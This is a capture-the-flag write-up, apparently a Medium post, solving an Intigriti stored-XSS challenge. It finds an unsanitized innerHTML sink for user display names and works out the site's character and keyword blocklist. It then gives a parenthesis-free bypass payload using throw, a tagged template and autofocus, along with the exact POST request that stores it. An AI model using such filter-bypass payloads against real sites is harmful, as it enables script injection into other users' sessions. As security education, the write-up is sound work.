Intigriti Challenge 0526 — Writeup: Stored XSS via SCA Shield Bypass
Challenge: challenge-0526.intigriti.io/challenge Type: Stored XSS Author: @rehman0g0
Intigriti Challenge 0526 — Writeup: Stored XSS via SCA Shield Bypass
Challenge: challenge-0526.intigriti.io/challenge Type: Stored XSS Author: @rehman0g0
Overview
This month’s Intigriti challenge was “Pixel Pioneers” — a retro arcade SPA with user registration, a testimonials feed, and a custom “SCA Shield v1.0” protecting input. Goal: pop an alert on the domain. This turned out to be an unintended solution which Intigriti confirmed.

Finding the Sink
Reading /js/app.js, one line immediately jumped out inside loadTestimonials():
nameDiv.innerHTML = t.user_name; // ← no sanitization
textDiv.innerHTML = DOMPurify.sanitize(t.content); // ← content is safe
Display name goes straight into innerHTML. Whatever HTML you store as your display name executes for every visitor. Classic asymmetric sanitization bug.
Understanding SCA Shield
Sending <img src=x onerror=alert(1)> to /api/profile via Burp:
SCA Shield: Malicious characters detected!
Quotes, parenthesis, dots, commas, and semicolons are strictly forbidden.
Blocked characters: " ' ( ) . , ;
Trying <svg onload=alert\1>:
SCA Shield: Malicious payload signature detected!
Two layers — character blocklist and keyword blocklist. Mapping it out via Burp Repeater:
Payload Result
alert ❌ Blocked
confirm ❌ Blocked
onload ❌ Blocked
onerror ❌ Blocked
onfocus ✅ Pass
throw ✅ Pass
The Bypass
alert and confirm blocked by name. () blocked. But throw and onfocus both pass.
Key insight: JavaScript’s throw statement evaluates whatever expression follows it. So:
throw/**/confirm`1`
This calls confirm as a tagged template literal — no parentheses needed. The /**/ is just a comment separator. Every character here passes both blocklist checks.
Add autofocus + onfocus for zero-click auto-trigger:
<input autofocus onfocus=throw/**/confirm`1`>
Exploit
Send via Burp Repeater:
POST /api/profile HTTP/2
Host: challenge-0526.intigriti.io
Content-Type: application/json
{"name":"<input autofocus onfocus=throw/**/confirm`1`>"}
Then submit any testimonial. When #testimonials loads, nameDiv.innerHTML = t.user_name injects the payload and autofocus fires onfocus instantly — dialog pops on challenge-0526.intigriti.io. ✅
Thanks to @KulinduKodi for the challenge. Drop a comment if you found a different path!
— @rehman0g0
메타데이터
- post_id
- 4db331a2f6b7
- slug
- intigriti-challenge-0526-writeup-stored-xss-via-sca-shield-bypass-4db331a2f6b7
- url
- https://medium.com/@skin-security/intigriti-challenge-0526-writeup-stored-xss-via-sca-shield-bypass-4db331a2f6b7
- canonical_url
- https://medium.com/@skin-security/intigriti-challenge-0526-writeup-stored-xss-via-sca-shield-bypass-4db331a2f6b7
- author_url
- https://medium.com/@skin-security
- status
- ok
- fetched_at
- 2026-06-27 07:40:21